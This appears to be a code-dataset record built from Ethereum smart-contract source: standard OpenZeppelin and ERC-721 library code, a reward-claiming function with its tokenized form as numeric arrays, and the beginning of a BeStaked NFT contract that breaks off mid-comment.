functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
@dev The claiming function for the passive rewards calls the modifier and then mint the tokens./
function claimPassiveRewardsForUser() external nonReentrant whenNotPaused updatePassiveRewardsForUser { Whales.mint(msg.sender, totalWhalesPassivelyEarned[msg.sender]); emit WhalesMinted(msg.sender, totalWhalesPassivelyEarned[msg.sender]); totalWhalesPassivelyEarned[msg.sender] = 0; }
1,285,190
[ 1, 1986, 7516, 310, 445, 364, 326, 23697, 283, 6397, 4097, 326, 9606, 471, 1508, 312, 474, 326, 2430, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7516, 6433, 688, 17631, 14727, 19894, 1435, 203, 3639, 3903, 203, 3639, 1661, 426, 8230, 970, 203, 3639, 1347, 1248, 28590, 203, 3639, 1089, 6433, 688, 17631, 14727, 19894, 203, 565, 288, 203, 3639, 3497, 5408, 18, 81, 474, 12, 3576, 18, 15330, 16, 2078, 2888, 5408, 6433, 4492, 41, 1303, 329, 63, 3576, 18, 15330, 19226, 203, 3639, 3626, 3497, 5408, 49, 474, 329, 12, 3576, 18, 15330, 16, 2078, 2888, 5408, 6433, 4492, 41, 1303, 329, 63, 3576, 18, 15330, 19226, 203, 3639, 2078, 2888, 5408, 6433, 4492, 41, 1303, 329, 63, 3576, 18, 15330, 65, 273, 374, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-07-26 */ // SPDX-License-Identifier: BeStaked.com pragma solidity ^0.8.0; /** * @dev ERC-721 non-fungible token standard. * See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md. */ interface ERC721 { /** * @dev Emits when ownership of any NFT changes by any mechanism. This event emits when NFTs are * created (`from` == 0) and destroyed (`to` == 0). Exception: during contract creation, any * number of NFTs may be created and assigned without emitting Transfer. At the time of any * transfer, the approved address for that NFT (if any) is reset to none. */ event Transfer( address indexed _from, address indexed _to, uint256 indexed _tokenId ); /** * @dev This emits when the approved address for an NFT is changed or reaffirmed. The zero * address indicates there is no approved address. When a Transfer event emits, this also * indicates that the approved address for that NFT (if any) is reset to none. */ event Approval( address indexed _owner, address indexed _approved, uint256 indexed _tokenId ); /** * @dev This emits when an operator is enabled or disabled for an owner. The operator can manage * all NFTs of the owner. */ event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); /** * @dev Transfers the ownership of an NFT from one address to another address. * @notice Throws unless `msg.sender` is the current owner, an authorized operator, or the * approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is * the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this * function checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`. * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. * @param _data Additional data with no specified format, sent in call to `_to`. */ function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes calldata _data ) external; /** * @dev Transfers the ownership of an NFT from one address to another address. * @notice This works identically to the other function with an extra data parameter, except this * function just sets data to "" * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. */ function safeTransferFrom( address _from, address _to, uint256 _tokenId ) external; /** * @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved * address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero * address. Throws if `_tokenId` is not a valid NFT. * @notice The caller is responsible to confirm that `_to` is capable of receiving NFTs or else * they may be permanently lost. * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. */ function transferFrom( address _from, address _to, uint256 _tokenId ) external; /** * @dev Set or reaffirm the approved address for an NFT. * @notice The zero address indicates there is no approved address. Throws unless `msg.sender` is * the current NFT owner, or an authorized operator of the current owner. * @param _approved The new approved NFT controller. * @param _tokenId The NFT to approve. */ function approve( address _approved, uint256 _tokenId ) external; /** * @dev Enables or disables approval for a third party ("operator") to manage all of * `msg.sender`'s assets. It also emits the ApprovalForAll event. * @notice The contract MUST allow multiple operators per owner. * @param _operator Address to add to the set of authorized operators. * @param _approved True if the operators is approved, false to revoke approval. */ function setApprovalForAll( address _operator, bool _approved ) external; /** * @dev Returns the number of NFTs owned by `_owner`. NFTs assigned to the zero address are * considered invalid, and this function throws for queries about the zero address. * @param _owner Address for whom to query the balance. * @return Balance of _owner. */ function balanceOf( address _owner ) external view returns (uint256); /** * @dev Returns the address of the owner of the NFT. NFTs assigned to the zero address are * considered invalid, and queries about them do throw. * @param _tokenId The identifier for an NFT. * @return Address of _tokenId owner. */ function ownerOf( uint256 _tokenId ) external view returns (address); /** * @dev Get the approved address for a single NFT. * @notice Throws if `_tokenId` is not a valid NFT. * @param _tokenId The NFT to find the approved address for. * @return Address that _tokenId is approved for. */ function getApproved( uint256 _tokenId ) external view returns (address); /** * @dev Returns true if `_operator` is an approved operator for `_owner`, false otherwise. * @param _owner The address that owns the NFTs. * @param _operator The address that acts on behalf of the owner. * @return True if approved for all, false otherwise. */ function isApprovedForAll( address _owner, address _operator ) external view returns (bool); } // File: contracts\ethereum-erc721\tokens\erc721-token-receiver.sol pragma solidity ^0.8.0; /** * @dev ERC-721 interface for accepting safe transfers. * See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md. */ interface ERC721TokenReceiver { /** * @dev Handle the receipt of a NFT. The ERC721 smart contract calls this function on the * recipient after a `transfer`. This function MAY throw to revert and reject the transfer. Return * of other than the magic value MUST result in the transaction being reverted. * Returns `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` unless throwing. * @notice The contract address is always the message sender. A wallet/broker/auction application * MUST implement the wallet interface if it will accept safe transfers. * @param _operator The address which called `safeTransferFrom` function. * @param _from The address which previously owned the token. * @param _tokenId The NFT identifier which is being transferred. * @param _data Additional data with no specified format. * @return Returns `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. */ function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes calldata _data ) external returns(bytes4); } // File: contracts\ethereum-erc721\utils\erc165.sol pragma solidity ^0.8.0; /** * @dev A standard for detecting smart contract interfaces. * See: https://eips.ethereum.org/EIPS/eip-165. */ interface ERC165 { /** * @dev Checks if the smart contract includes a specific interface. * This function uses less than 30,000 gas. * @param _interfaceID The interface identifier, as specified in ERC-165. * @return True if _interfaceID is supported, false otherwise. */ function supportsInterface( bytes4 _interfaceID ) external view returns (bool); } // File: contracts\ethereum-erc721\utils\supports-interface.sol pragma solidity ^0.8.0; /** * @dev Implementation of standard for detect smart contract interfaces. */ contract SupportsInterface is ERC165 { /** * @dev Mapping of supported intefraces. You must not set element 0xffffffff to true. */ mapping(bytes4 => bool) internal supportedInterfaces; /** * @dev Contract constructor. */ constructor() { supportedInterfaces[0x01ffc9a7] = true; // ERC165 } /** * @dev Function to check which interfaces are suported by this contract. * @param _interfaceID Id of the interface. * @return True if _interfaceID is supported, false otherwise. */ function supportsInterface( bytes4 _interfaceID ) external override view returns (bool) { return supportedInterfaces[_interfaceID]; } } // File: contracts\ethereum-erc721\utils\address-utils.sol pragma solidity ^0.8.0; /** * @dev Utility library of inline functions on addresses. * @notice Based on: * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol * Requires EIP-1052. */ library AddressUtils { /** * @dev Returns whether the target address is a contract. * @param _addr Address to check. * @return addressCheck True if _addr is a contract, false if not. */ function isContract( address _addr ) internal view returns (bool addressCheck) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(_addr) } // solhint-disable-line addressCheck = (codehash != 0x0 && codehash != accountHash); } } // File: contracts\ethereum-erc721\tokens\nf-token.sol pragma solidity ^0.8.0; /** * @dev Implementation of ERC-721 non-fungible token standard. */ contract NFToken is ERC721, SupportsInterface { using AddressUtils for address; /** * @dev List of revert message codes. Implementing dApp should handle showing the correct message. * Based on 0xcert framework error codes. */ string constant ZERO_ADDRESS = "003001"; string constant NOT_VALID_NFT = "003002"; string constant NOT_OWNER_OR_OPERATOR = "003003"; string constant NOT_OWNER_APPROVED_OR_OPERATOR = "003004"; string constant NOT_ABLE_TO_RECEIVE_NFT = "003005"; string constant NFT_ALREADY_EXISTS = "003006"; string constant NOT_OWNER = "003007"; string constant IS_OWNER = "003008"; /** * @dev Magic value of a smart contract that can receive NFT. * Equal to: bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")). */ bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02; /** * @dev A mapping from NFT ID to the address that owns it. */ mapping (uint256 => address) internal idToOwner; /** * @dev Mapping from NFT ID to approved address. */ mapping (uint256 => address) internal idToApproval; /** * @dev Mapping from owner address to count of his tokens. */ mapping (address => uint256) private ownerToNFTokenCount; /** * @dev Mapping from owner address to mapping of operator addresses. */ mapping (address => mapping (address => bool)) internal ownerToOperators; /** * @dev Guarantees that the msg.sender is an owner or operator of the given NFT. * @param _tokenId ID of the NFT to validate. */ modifier canOperate( uint256 _tokenId ) { address tokenOwner = idToOwner[_tokenId]; require( tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender], NOT_OWNER_OR_OPERATOR ); _; } /** * @dev Guarantees that the msg.sender is allowed to transfer NFT. * @param _tokenId ID of the NFT to transfer. */ modifier canTransfer( uint256 _tokenId ) { address tokenOwner = idToOwner[_tokenId]; require( tokenOwner == msg.sender || idToApproval[_tokenId] == msg.sender || ownerToOperators[tokenOwner][msg.sender], NOT_OWNER_APPROVED_OR_OPERATOR ); _; } /** * @dev 